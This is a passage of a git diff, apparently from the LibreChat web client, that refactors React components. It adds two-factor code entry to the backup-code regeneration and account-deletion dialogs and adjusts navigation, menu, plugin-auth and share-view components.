-              />
-            </div>
-            {hasNoChildren && effectiveIsSubmitting ? (
-              <PlaceholderRow />
-            ) : (
-              <SubRow classes="text-xs">
-                <SiblingSwitch
-                  siblingIdx={siblingIdx}
-                  siblingCount={siblingCount}
-                  setSiblingIdx={setSiblingIdx}
-                />
-                <HoverButtons
-                  index={index}
-                  message={msg}
-                  isEditing={edit}
-                  enterEdit={enterEdit}
-                  isSubmitting={isSubmitting}
-                  conversation={conversation ?? null}
-                  regenerate={handleRegenerateMessage}
-                  copyToClipboard={copyToClipboard}
-                  handleContinue={handleContinue}
-                  latestMessage={latestMessage}
-                  handleFeedback={handleFeedback}
-                  isLast={isLast}
-                />
-              </SubRow>
-            )}
+        <div className="flex flex-col gap-1">
+          <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
+            <ContentParts
+              edit={edit}
+              isLast={isLast}
+              enterEdit={enterEdit}
+              siblingIdx={siblingIdx}
+              messageId={msg.messageId}
+              attachments={attachments}
+              searchResults={searchResults}
+              setSiblingIdx={setSiblingIdx}
+              isLatestMessage={isLatestMessage}
+              isSubmitting={effectiveIsSubmitting}
+              isCreatedByUser={msg.isCreatedByUser}
+              conversationId={conversation?.conversationId}
+              content={msg.content as Array<TMessageContentParts | undefined>}
+            />
           </div>
+          {hasNoChildren && effectiveIsSubmitting ? (
+            <PlaceholderRow />
+          ) : (
+            <SubRow classes="text-xs">
+              <SiblingSwitch
+                siblingIdx={siblingIdx}
+                siblingCount={siblingCount}
+                setSiblingIdx={setSiblingIdx}
+              />
+              <HoverButtons
+                index={index}
+                message={msg}
+                isEditing={edit}
+                enterEdit={enterEdit}
+                isSubmitting={isSubmitting}
+                conversation={conversation ?? null}
+                regenerate={handleRegenerateMessage}
+                copyToClipboard={copyToClipboard}
+                handleContinue={handleContinue}
+                latestMessageId={latestMessageId}
+                handleFeedback={handleFeedback}
+                isLast={isLast}
+              />
+            </SubRow>
+          )}
         </div>
       </div>
-    );
-  },
-);
+    </div>
+  );
+});
+ContentRender.displayName = 'ContentRender';
 
 export default ContentRender;
diff --git a/client/src/components/Messages/MessageContent.tsx b/client/src/components/Messages/MessageContent.tsx
index 68fe2d8629..0e53b1c840 100644
--- a/client/src/components/Messages/MessageContent.tsx
+++ b/client/src/components/Messages/MessageContent.tsx
@@ -5,25 +5,23 @@ import type { TMessageProps } from '~/common';
 import MultiMessage from '~/components/Chat/Messages/MultiMessage';
 import ContentRender from './ContentRender';
 
-const MessageContainer = React.memo(
-  ({
-    handleScroll,
-    children,
-  }: {
-    handleScroll: (event?: unknown) => void;
-    children: React.ReactNode;
-  }) => {
-    return (
-      <div
-        className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
-        onWheel={handleScroll}
-        onTouchMove={handleScroll}
-      >
-        {children}
-      </div>
-    );
-  },
-);
+const MessageContainer = React.memo(function MessageContainer({
+  handleScroll,
+  children,
+}: {
+  handleScroll: (event?: unknown) => void;
+  children: React.ReactNode;
+}) {
+  return (
+    <div
+      className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
+      onWheel={handleScroll}
+      onTouchMove={handleScroll}
+    >
+      {children}
+    </div>
+  );
+});
 
 export default function MessageContent(props: TMessageProps) {
   const { conversation, handleScroll, isSubmitting } = useMessageProcess({
diff --git a/client/src/components/Nav/AccountSettings.tsx b/client/src/components/Nav/AccountSettings.tsx
index e3f97160eb..cf80f89ca2 100644
--- a/client/src/components/Nav/AccountSettings.tsx
+++ b/client/src/components/Nav/AccountSettings.tsx
@@ -1,5 +1,5 @@
 import { useState, memo, useRef } from 'react';
-import * as Select from '@ariakit/react/select';
+import * as Menu from '@ariakit/react/menu';
 import { FileText, LogOut } from 'lucide-react';
 import { LinkIcon, GearIcon, DropdownMenuSeparator, Avatar } from '@librechat/client';
 import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
@@ -20,8 +20,8 @@ function AccountSettings() {
   const accountSettingsButtonRef = useRef<HTMLButtonElement>(null);
 
   return (
-    <Select.SelectProvider>
-      <Select.Select
+    <Menu.MenuProvider>
+      <Menu.MenuButton
         ref={accountSettingsButtonRef}
         aria-label={localize('com_nav_account_settings')}
         data-testid="nav-user"
@@ -38,8 +38,8 @@ function AccountSettings() {
         >
           {user?.name ?? user?.username ?? localize('com_nav_user')}
         </div>
-      </Select.Select>
-      <Select.SelectPopover
+      </Menu.MenuButton>
+      <Menu.Menu
         className="account-settings-popover popover-ui z-[125] w-[305px] rounded-lg md:w-[244px]"
         style={{
           transformOrigin: 'bottom',
@@ -59,43 +59,29 @@ function AccountSettings() {
             <DropdownMenuSeparator />
           </>
         )}
-        <Select.SelectItem
-          value=""
-          onClick={() => setShowFiles(true)}
-          className="select-item text-sm"
-        >
+        <Menu.MenuItem onClick={() => setShowFiles(true)} className="select-item text-sm">
           <FileText className="icon-md" aria-hidden="true" />
           {localize('com_nav_my_files')}
-        </Select.SelectItem>
+        </Menu.MenuItem>
         {startupConfig?.helpAndFaqURL !== '/' && (
-          <Select.SelectItem
-            value=""
+          <Menu.MenuItem
             onClick={() => window.open(startupConfig?.helpAndFaqURL, '_blank')}
             className="select-item text-sm"
           >
             <LinkIcon aria-hidden="true" />
             {localize('com_nav_help_faq')}
-          </Select.SelectItem>
+          </Menu.MenuItem>
         )}
-        <Select.SelectItem
-          value=""
-          onClick={() => setShowSettings(true)}
-          className="select-item text-sm"
-        >
+        <Menu.MenuItem onClick={() => setShowSettings(true)} className="select-item text-sm">
           <GearIcon className="icon-md" aria-hidden="true" />
           {localize('com_nav_settings')}
-        </Select.SelectItem>
+        </Menu.MenuItem>
         <DropdownMenuSeparator />
-        <Select.SelectItem
-          aria-selected={true}
-          onClick={() => logout()}
-          value="logout"
-          className="select-item text-sm"
-        >
+        <Menu.MenuItem onClick={() => logout()} className="select-item text-sm">
           <LogOut className="icon-md" aria-hidden="true" />
           {localize('com_nav_log_out')}
-        </Select.SelectItem>
-      </Select.SelectPopover>
+        </Menu.MenuItem>
+      </Menu.Menu>
       {showFiles && (
         <MyFilesModal
           open={showFiles}
@@ -104,7 +90,7 @@ function AccountSettings() {
         />
       )}
       {showSettings && <Settings open={showSettings} onOpenChange={setShowSettings} />}
-    </Select.SelectProvider>
+    </Menu.MenuProvider>
   );
 }
 
diff --git a/client/src/components/Nav/Favorites/FavoritesList.tsx b/client/src/components/Nav/Favorites/FavoritesList.tsx
index 86fe4a793f..82225733fd 100644
--- a/client/src/components/Nav/Favorites/FavoritesList.tsx
+++ b/client/src/components/Nav/Favorites/FavoritesList.tsx
@@ -1,15 +1,21 @@
 import React, { useRef, useCallback, useMemo, useEffect } from 'react';
-import { useRecoilValue } from 'recoil';
 import { LayoutGrid } from 'lucide-react';
 import { useDrag, useDrop } from 'react-dnd';
 import { Skeleton } from '@librechat/client';
 import { useNavigate } from 'react-router-dom';
 import { useQueries } from '@tanstack/react-query';
+import { useRecoilValue } from 'recoil';
 import { QueryKeys, dataService } from 'librechat-data-provider';
 import type t from 'librechat-data-provider';
-import { useFavorites, useLocalize, useShowMarketplace, useNewConvo } from '~/hooks';
-import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
 import type { AgentQueryResult } from '~/common';
+import {
+  useGetConversation,
+  useShowMarketplace,
+  useFavorites,
+  useLocalize,
+  useNewConvo,
+} from '~/hooks';
+import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
 import useSelectMention from '~/hooks/Input/useSelectMention';
 import { useGetEndpointsQuery } from '~/data-provider';
 import FavoriteItem from './FavoriteItem';
@@ -122,20 +128,20 @@ export default function FavoritesList({
   const navigate = useNavigate();
   const localize = useLocalize();
   const search = useRecoilValue(store.search);
+  const getConversation = useGetConversation(0);
   const { favorites, reorderFavorites, isLoading: isFavoritesLoading } = useFavorites();
   const showAgentMarketplace = useShowMarketplace();
 
   const { newConversation } = useNewConvo();
   const assistantsMap = useAssistantsMapContext();
   const agentsMap = useAgentsMapContext();
-  const conversation = useRecoilValue(store.conversationByIndex(0));
   const { data: endpointsConfig = {} as t.TEndpointsConfig } = useGetEndpointsQuery();
 
   const { onSelectEndpoint } = useSelectMention({
     modelSpecs: [],
-    conversation,
     assistantsMap,
     endpointsConfig,
+    getConversation,
     newConversation,
     returnHandlers: true,
   });
diff --git a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
index 8318b94698..ed71221de3 100644
--- a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
+++ b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
@@ -56,6 +56,7 @@ jest.mock('~/hooks', () => ({
   useLocalize: () => (key: string) => key,
   useShowMarketplace: () => false,
   useNewConvo: () => ({ newConversation: jest.fn() }),
+  useGetConversation: () => () => null,
 }));
 
 jest.mock('~/Providers', () => ({
diff --git a/client/src/components/Nav/Nav.tsx b/client/src/components/Nav/Nav.tsx
index 74883b94f4..cdee938663 100644
--- a/client/src/components/Nav/Nav.tsx
+++ b/client/src/components/Nav/Nav.tsx
@@ -225,6 +225,7 @@ const Nav = memo(
           aria-label={localize('com_ui_chat_history')}
           className="flex h-full flex-col px-2 pb-3.5"
           aria-hidden={!navVisible}
+          {...{ inert: !navVisible ? '' : undefined }}
         >
           <div className="flex flex-1 flex-col overflow-hidden" ref={outerContainerRef}>
             <MemoNewChat
diff --git a/client/src/components/Nav/NewChat.tsx b/client/src/components/Nav/NewChat.tsx
index 4f4f64c44f..af33799166 100644
--- a/client/src/components/Nav/NewChat.tsx
+++ b/client/src/components/Nav/NewChat.tsx
@@ -1,5 +1,5 @@
 import React, { useCallback } from 'react';
-import { useNavigate } from 'react-router-dom';
+import { Link } from 'react-router-dom';
 import { QueryKeys } from 'librechat-data-provider';
 import { useQueryClient } from '@tanstack/react-query';
 import { TooltipAnchor, NewChatIcon, MobileSidebar, Sidebar, Button } from '@librechat/client';
@@ -24,7 +24,6 @@ export default function NewChat({
   const queryClient = useQueryClient();
   /** Note: this component needs an explicit index passed if using more than one */
   const { newConversation: newConvo } = useNewConvo(index);
-  const navigate = useNavigate();
   const localize = useLocalize();
   const { conversation } = store.useCreateConversationAtom(index);
 
@@ -36,21 +35,22 @@ export default function NewChat({
     }, 250);
   }, [toggleNav]);
 
-  const clickHandler: React.MouseEventHandler<HTMLButtonElement> = useCallback(
+  const clickHandler: React.MouseEventHandler<HTMLAnchorElement> = useCallback(
     (e) => {
-      if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
-        window.open('/c/new', '_blank');
+      // Let browser handle modified/non-left clicks (new tab, context menu, etc.)
+      if (e.button !== 0 || e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) {
         return;
       }
+
+      e.preventDefault();
       clearMessagesCache(queryClient, conversation?.conversationId);
       queryClient.invalidateQueries([QueryKeys.messages]);
       newConvo();
-      navigate('/c/new', { state: { focusChat: true } });
       if (isSmallScreen) {
         toggleNav();
       }
     },
-    [queryClient, conversation, newConvo, navigate, toggleNav, isSmallScreen],
+    [queryClient, conversation, newConvo, toggleNav, isSmallScreen],
   );
 
   return (
@@ -84,14 +84,16 @@ export default function NewChat({
             description={localize('com_ui_new_chat')}
             render={
               <Button
+                asChild
                 size="icon"
                 variant="outline"
                 data-testid="nav-new-chat-button"
                 aria-label={localize('com_ui_new_chat')}
                 className="rounded-full border-none bg-transparent duration-0 hover:bg-surface-active-alt focus-visible:ring-inset focus-visible:ring-black focus-visible:ring-offset-0 dark:focus-visible:ring-white md:rounded-xl"
-                onClick={clickHandler}
               >
-                <NewChatIcon className="icon-lg text-text-primary" />
+                <Link to="/c/new" state={{ focusChat: true }} onClick={clickHandler}>
+                  <NewChatIcon className="icon-lg text-text-primary" />
+                </Link>
               </Button>
             }
           />
diff --git a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
index c89ce61fff..e66cb7b08a 100644
--- a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
@@ -1,12 +1,23 @@
 import React, { useState } from 'react';
 import { RefreshCcw } from 'lucide-react';
+import { useSetRecoilState } from 'recoil';
 import { motion, AnimatePresence } from 'framer-motion';
-import { TBackupCode, TRegenerateBackupCodesResponse, type TUser } from 'librechat-data-provider';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
+import type {
+  TRegenerateBackupCodesResponse,
+  TRegenerateBackupCodesRequest,
+  TBackupCode,
+  TUser,
+} from 'librechat-data-provider';
 import {
-  OGDialog,
+  InputOTPSeparator,
+  InputOTPGroup,
+  InputOTPSlot,
   OGDialogContent,
   OGDialogTitle,
   OGDialogTrigger,
+  OGDialog,
+  InputOTP,
   Button,
   Label,
   Spinner,
@@ -15,7 +26,6 @@ import {
 } from '@librechat/client';
 import { useRegenerateBackupCodesMutation } from '~/data-provider';
 import { useAuthContext, useLocalize } from '~/hooks';
-import { useSetRecoilState } from 'recoil';
 import store from '~/store';
 
 const BackupCodesItem: React.FC = () => {
@@ -24,25 +34,30 @@ const BackupCodesItem: React.FC = () => {
   const { showToast } = useToastContext();
   const setUser = useSetRecoilState(store.user);
   const [isDialogOpen, setDialogOpen] = useState<boolean>(false);
+  const [otpToken, setOtpToken] = useState('');
+  const [useBackup, setUseBackup] = useState(false);
 
   const { mutate: regenerateBackupCodes, isLoading } = useRegenerateBackupCodesMutation();
 
+  const needs2FA = !!user?.twoFactorEnabled;
+
   const fetchBackupCodes = (auto: boolean = false) => {
-    regenerateBackupCodes(undefined, {
+    let payload: TRegenerateBackupCodesRequest | undefined;
+    if (needs2FA && otpToken.trim()) {
+      payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+    }
+
+    regenerateBackupCodes(payload, {
       onSuccess: (data: TRegenerateBackupCodesResponse) => {
-        const newBackupCodes: TBackupCode[] = data.backupCodesHash.map((codeHash) => ({
-          codeHash,
-          used: false,
-          usedAt: null,
-        }));
+        const newBackupCodes: TBackupCode[] = data.backupCodesHash;
 
         setUser((prev) => ({ ...prev, backupCodes: newBackupCodes }) as TUser);
+        setOtpToken('');
         showToast({
           message: localize('com_ui_backup_codes_regenerated'),
           status: 'success',
         });
 
-        // Trigger file download only when user explicitly clicks the button.
         if (!auto && newBackupCodes.length) {
           const codesString = data.backupCodes.join('\n');
           const blob = new Blob([codesString], { type: 'text/plain;charset=utf-8' });
@@ -66,6 +81,8 @@ const BackupCodesItem: React.FC = () => {
     fetchBackupCodes(false);
   };
 
+  const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
   return (
     <OGDialog open={isDialogOpen} onOpenChange={setDialogOpen}>
       <div className="flex items-center justify-between">
@@ -161,10 +178,10 @@ const BackupCodesItem: React.FC = () => {
                     );
                   })}
                 </div>
-                <div className="mt-12 flex justify-center">
+                <div className="mt-6 flex justify-center">
                   <Button
                     onClick={handleRegenerate}
-                    disabled={isLoading}
+                    disabled={isLoading || !otpReady}
                     variant="default"
                     className="px-8 py-3 transition-all disabled:opacity-50"
                   >
@@ -183,7 +200,7 @@ const BackupCodesItem: React.FC = () => {
               <div className="flex flex-col items-center gap-4 p-6 text-center">
                 <Button
                   onClick={handleRegenerate}
-                  disabled={isLoading}
+                  disabled={isLoading || !otpReady}
                   variant="default"
                   className="px-8 py-3 transition-all disabled:opacity-50"
                 >
@@ -192,6 +209,59 @@ const BackupCodesItem: React.FC = () => {
                 </Button>
               </div>
             )}
+            {needs2FA && (
+              <div className="mt-6 space-y-3">
+                <Label className="text-sm font-medium">
+                  {localize('com_ui_2fa_verification_required')}
+                </Label>
+                <div className="flex justify-center">
+                  <InputOTP
+                    value={otpToken}
+                    onChange={setOtpToken}
+                    maxLength={useBackup ? 8 : 6}
+                    pattern={useBackup ? REGEXP_ONLY_DIGITS_AND_CHARS : REGEXP_ONLY_DIGITS}
+                    className="gap-2"
+                  >
+                    {useBackup ? (
+                      <InputOTPGroup>
+                        <InputOTPSlot index={0} />
+                        <InputOTPSlot index={1} />
+                        <InputOTPSlot index={2} />
+                        <InputOTPSlot index={3} />
+                        <InputOTPSlot index={4} />
+                        <InputOTPSlot index={5} />
+                        <InputOTPSlot index={6} />
+                        <InputOTPSlot index={7} />
+                      </InputOTPGroup>
+                    ) : (
+                      <>
+                        <InputOTPGroup>
+                          <InputOTPSlot index={0} />
+                          <InputOTPSlot index={1} />
+                          <InputOTPSlot index={2} />
+                        </InputOTPGroup>
+                        <InputOTPSeparator />
+                        <InputOTPGroup>
+                          <InputOTPSlot index={3} />
+                          <InputOTPSlot index={4} />
+                          <InputOTPSlot index={5} />
+                        </InputOTPGroup>
+                      </>
+                    )}
+                  </InputOTP>
+                </div>
+                <button
+                  type="button"
+                  onClick={() => {
+                    setUseBackup(!useBackup);
+                    setOtpToken('');
+                  }}
+                  className="text-sm text-primary hover:underline"
+                >
+                  {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+                </button>
+              </div>
+            )}
           </motion.div>
         </AnimatePresence>
       </OGDialogContent>
diff --git a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
index e879a0f2c6..d9c432c6a2 100644
--- a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
@@ -1,16 +1,22 @@
-import { LockIcon, Trash } from 'lucide-react';
 import React, { useState, useCallback } from 'react';
+import { LockIcon, Trash } from 'lucide-react';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
 import {
-  Label,
-  Input,
-  Button,
-  Spinner,
-  OGDialog,
+  InputOTPSeparator,
   OGDialogContent,
   OGDialogTrigger,
   OGDialogHeader,
+  InputOTPGroup,
   OGDialogTitle,
+  InputOTPSlot,
+  OGDialog,
+  InputOTP,
+  Spinner,
+  Button,
+  Label,
+  Input,
 } from '@librechat/client';
+import type { TDeleteUserRequest } from 'librechat-data-provider';
 import { useDeleteUserMutation } from '~/data-provider';
 import { useAuthContext } from '~/hooks/AuthContext';
 import { LocalizeFunction } from '~/common';
@@ -21,16 +27,27 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
   const localize = useLocalize();
   const { user, logout } = useAuthContext();
   const { mutate: deleteUser, isLoading: isDeleting } = useDeleteUserMutation({
-    onMutate: () => logout(),
+    onSuccess: () => logout(),
   });
 
   const [isDialogOpen, setDialogOpen] = useState<boolean>(false);
   const [isLocked, setIsLocked] = useState(true);
+  const [otpToken, setOtpToken] = useState('');
+  const [useBackup, setUseBackup] = useState(false);
+
+  const needs2FA = !!user?.twoFactorEnabled;
 
   const handleDeleteUser = () => {
-    if (!isLocked) {
-      deleteUser(undefined);
+    if (isLocked) {
+      return;
     }
+
+    let payload: TDeleteUserRequest | undefined;
+    if (needs2FA && otpToken.trim()) {
+      payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+    }
+
+    deleteUser(payload);
   };
 
   const handleInputChange = useCallback(
@@ -42,6 +59,8 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
     [user?.email],
   );
 
+  const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
   return (
     <>
       <OGDialog open={isDialogOpen} onOpenChange={setDialogOpen}>
@@ -79,7 +98,60 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
                 (e) => handleInputChange(e.target.value),
               )}
             </div>
-            {renderDeleteButton(handleDeleteUser, isDeleting, isLocked, localize)}
+            {needs2FA && (
+              <div className="mb-4 space-y-3">
+                <Label className="text-sm font-medium">
+                  {localize('com_ui_2fa_verification_required')}
+                </Label>
+                <div className="flex justify-center">
+                  <InputOTP
+                    value={otpToken}
+                    onChange={setOtpToken}
+                    maxLength={useBackup ? 8 : 6}
+                    pattern={useBackup ? REGEXP_ONLY_DIGITS_AND_CHARS : REGEXP_ONLY_DIGITS}
+                    className="gap-2"
+                  >
+                    {useBackup ? (
+                      <InputOTPGroup>
+                        <InputOTPSlot index={0} />
+                        <InputOTPSlot index={1} />
+                        <InputOTPSlot index={2} />
+                        <InputOTPSlot index={3} />
+                        <InputOTPSlot index={4} />
+                        <InputOTPSlot index={5} />
+                        <InputOTPSlot index={6} />
+                        <InputOTPSlot index={7} />
+                      </InputOTPGroup>
+                    ) : (
+                      <>
+                        <InputOTPGroup>
+                          <InputOTPSlot index={0} />
+                          <InputOTPSlot index={1} />
+                          <InputOTPSlot index={2} />
+                        </InputOTPGroup>
+                        <InputOTPSeparator />
+                        <InputOTPGroup>
+                          <InputOTPSlot index={3} />
+                          <InputOTPSlot index={4} />
+                          <InputOTPSlot index={5} />
+                        </InputOTPGroup>
+                      </>
+                    )}
+                  </InputOTP>
+                </div>
+                <button
+                  type="button"
+                  onClick={() => {
+                    setUseBackup(!useBackup);
+                    setOtpToken('');
+                  }}
+                  className="text-sm text-primary hover:underline"
+                >
+                  {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+                </button>
+              </div>
+            )}
+            {renderDeleteButton(handleDeleteUser, isDeleting, isLocked || !otpReady, localize)}
           </div>
         </OGDialogContent>
       </OGDialog>
diff --git a/client/src/components/Plugins/Store/PluginAuthForm.tsx b/client/src/components/Plugins/Store/PluginAuthForm.tsx
index 5af1948c11..d304b2eab7 100644
--- a/client/src/components/Plugins/Store/PluginAuthForm.tsx
+++ b/client/src/components/Plugins/Store/PluginAuthForm.tsx
@@ -20,6 +20,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
 
   const localize = useLocalize();
   const authConfig = plugin?.authConfig ?? [];
+  const allFieldsOptional = authConfig.length > 0 && authConfig.every((c) => c.optional === true);
 
   return (
     <div className="flex w-full flex-col items-center gap-2">
@@ -38,6 +39,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
         >
           {authConfig.map((config: TPluginAuthConfig, i: number) => {
             const authField = config.authField.split('||')[0];
+            const isOptional = config.optional === true;
             return (
               <div key={`${authField}-${i}`} className="flex w-full flex-col gap-1">
                 <label
@@ -55,19 +57,24 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
                       aria-invalid={!!errors[authField]}
                       aria-describedby={`${authField}-error`}
                       aria-label={config.label}
-                      aria-required="true"
+                      aria-required={!isOptional}
                       /* autoFocus is generally disabled due to the fact that it can disorient users,
                        * but in this case, the required field must be navigated to anyways, and the component's functionality
                        * emulates that of a new modal opening, where users would expect focus to be shifted to the new content */
                       // eslint-disable-next-line jsx-a11y/no-autofocus
                       autoFocus={i === 0}
-                      {...register(authField, {
-                        required: `${config.label} is required.`,
-                        minLength: {
-                          value: 1,
-                          message: `${config.label} must be at least 1 character long`,
-                        },
-                      })}
+                      {...register(
+                        authField,
+                        isOptional
+                          ? {}
+                          : {
+                              required: `${config.label} is required.`,
+                              minLength: {
+                                value: 1,
+                                message: `${config.label} must be at least 1 character long`,
+                              },
+                            },
+                      )}
                       className="flex h-10 max-h-10 w-full resize-none rounded-md border border-gray-200 bg-transparent px-3 py-2 text-sm text-gray-700 shadow-[0_0_10px_rgba(0,0,0,0.05)] outline-none placeholder:text-gray-400 focus:border-gray-400 focus:bg-gray-50 focus:outline-none focus:ring-0 focus:ring-gray-400 focus:ring-opacity-0 focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:border-gray-500 dark:bg-gray-700 dark:text-gray-50 dark:shadow-[0_0_15px_rgba(0,0,0,0.10)] dark:focus:border-gray-400 focus:dark:bg-gray-600 dark:focus:outline-none dark:focus:ring-0 dark:focus:ring-gray-400 dark:focus:ring-offset-0"
                     />
                   </HoverCardTrigger>
@@ -82,7 +89,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
             );
           })}
           <button
-            disabled={!isDirty || !isValid || isSubmitting}
+            disabled={allFieldsOptional ? isSubmitting : !isDirty || !isValid || isSubmitting}
             type="button"
             className="btn btn-primary relative"
             onClick={() => {
diff --git a/client/src/components/Share/Message.tsx b/client/src/components/Share/Message.tsx
index 99d46954a8..8e2c7796e3 100644
--- a/client/src/components/Share/Message.tsx
+++ b/client/src/components/Share/Message.tsx
@@ -69,7 +69,7 @@ export default function Message(props: TMessageProps) {
             >
               <div className={cn('select-none font-semibold', fontSize)}>{messageLabel}</div>
               <div className="flex-col gap-1 md:gap-3">
-                <div className="flex max-w-full flex-grow flex-col gap-0">
+                <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
                   <MessageContext.Provider
                     value={{
                       messageId,
diff --git a/client/src/components/Share/MessagesView.tsx b/client/src/components/Share/MessagesView.tsx
index 9fa4276024..0b2e7b1c2d 100644
--- a/client/src/components/Share/MessagesView.tsx
+++ b/client/src/components/Share/MessagesView.tsx
@@ -13,7 +13,7 @@ export default function MessagesView({
   const localize = useLocalize();
   const [currentEditId, setCurrentEditId] = useState<number | string | null>(-1);
   return (
-    <div className="min-h-0 flex-1 overflow-hidden pb-[50px]">
+    <div className="min-h-0 flex-1 overflow-hidden">
       <div className="dark:gpt-dark-gray relative h-full">
         <div
           style={{
@@ -22,8 +22,8 @@ export default function MessagesView({
             width: '100%',
           }}
         >
-          <div className="flex flex-col pb-9 text-sm dark:bg-transparent">
-            {(_messagesTree && _messagesTree.length == 0) || _messagesTree === null ? (
+          <div className="flex flex-col pb-16 text-sm dark:bg-transparent">
+            {(_messagesTree && _messagesTree.length === 0) || _messagesTree === null ? (
               <div className="flex w-full items-center justify-center gap-1 bg-gray-50 p-3 text-sm text-gray-500 dark:border-gray-800/50 dark:bg-gray-800 dark:text-gray-300">
                 {localize('com_ui_nothing_found')}
               </div>
diff --git a/client/src/components/Share/ShareMessagesProvider.tsx b/client/src/components/Share/ShareMessagesProvider.tsx
index e87591a082..e614aa891a 100644
--- a/client/src/components/Share/ShareMessagesProvider.tsx
+++ b/client/src/components/Share/ShareMessagesProvider.tsx
@@ -25,7 +25,8 @@ export function ShareMessagesProvider({ messages, children }: ShareMessagesProvi
       ask: () => Promise.resolve(),
       regenerate: () => {},
       handleContinue: () => {},
-      latestMessage: messages[messages.length - 1] ?? null,
+      latestMessageId: messages[messages.length - 1]?.messageId,
+      latestMessageDepth: messages[messages.length - 1]?.depth,
       isSubmitting: false,
       abortScroll: false,
       setAbortScroll: () => {},
diff --git a/client/src/components/Share/ShareView.tsx b/client/src/components/Share/ShareView.tsx
index 99ab7f35eb..00a0d36398 100644
--- a/client/src/components/Share/ShareView.tsx
+++ b/client/src/components/Share/ShareView.tsx
@@ -123,14 +123,14 @@ function SharedView() {
   }
 
   const footer = (
-    <div className="w-full border-t-0 pl-0 pt-2 md:w-[calc(100%-.5rem)] md:border-t-0 md:border-transparent md:pl-0 md:pt-0 md:dark:border-transparent">
-      <Footer className="relative mx-auto mt-4 flex max-w-[55rem] flex-wrap items-center justify-center gap-2 px-3 pb-4 pt-2 text-center text-xs text-text-secondary" />
+    <div className="pointer-events-none absolute inset-x-0 bottom-0 z-10 bg-gradient-to-t from-surface-secondary from-40% to-transparent">
+      <Footer className="pointer-events-auto relative mx-auto flex max-w-[55rem] flex-wrap items-center justify-center gap-2 px-3 pb-4 pt-6 text-center text-xs text-text-secondary" />
     </div>
   );
 
   const mainContent = (
     <div className="transition-width relative flex h-full w-full flex-1 flex-col items-stretch overflow-hidden pt-0 dark:bg-surface-secondary">
-      <div className="flex h-full min-h-0 flex-col text-text-primary" role="presentation">
+      <div className="relative flex h-full min-h-0 flex-col text-text-primary" role="presentation">
         {content}
         {footer}
       </div>
@@ -189,11 +189,13 @@ function ShareHeader({
   }, []);
 
   return (
-    <section className="mx-auto w-full px-3 pb-4 pt-6 md:px-5">
-      <div className="bg-surface-primary/80 relative mx-auto flex w-full max-w-[60rem] flex-col gap-4 rounded-3xl border border-border-light px-6 py-5 shadow-xl backdrop-blur">
+    <section className="mx-auto w-full px-2 pb-3 pt-4 md:px-5 md:pb-4 md:pt-6">
+      <div className="bg-surface-primary/80 relative mx-auto flex w-full max-w-[60rem] flex-col gap-3 rounded-2xl border border-border-light px-4 py-4 shadow-xl backdrop-blur md:gap-4 md:rounded-3xl md:px-6 md:py-5">
         <div className="flex flex-col gap-3 md:flex-row md:items-end md:justify-between">
-          <div className="space-y-2">
-            <h1 className="text-4xl font-semibold text-text-primary">{title}</h1>
+          <div className="min-w-0 space-y-1.5 md:space-y-2">
+            <h1 className="line-clamp-2 break-words text-2xl font-semibold text-text-primary md:text-4xl">
+              {title}
+            </h1>
             {formattedDate && (
               <div className="flex items-center gap-2 text-sm text-text-secondary">
                 <CalendarDays className="size-4" aria-hidden="true" />
diff --git a/client/src/components/SidePanel/Agents/AgentAvatar.tsx b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
index bb1d44dfdc..6b778f6515 100644
--- a/client/src/components/SidePanel/Agents/AgentAvatar.tsx
+++ b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useCallback } from 'react';
+import { memo, useCallback, useEffect } from 'react';
 import { useToastContext } from '@librechat/client';
 import { useFormContext, useWatch } from 'react-hook-form';
 import { mergeFileConfig, fileConfig as defaultFileConfig } from 'librechat-data-provider';
@@ -99,4 +99,10 @@ function Avatar({ avatar }: { avatar: AgentAvatar | null }) {
   );
 }
 
-export default Avatar;
+const MemoizedAvatar = memo(
+  Avatar,
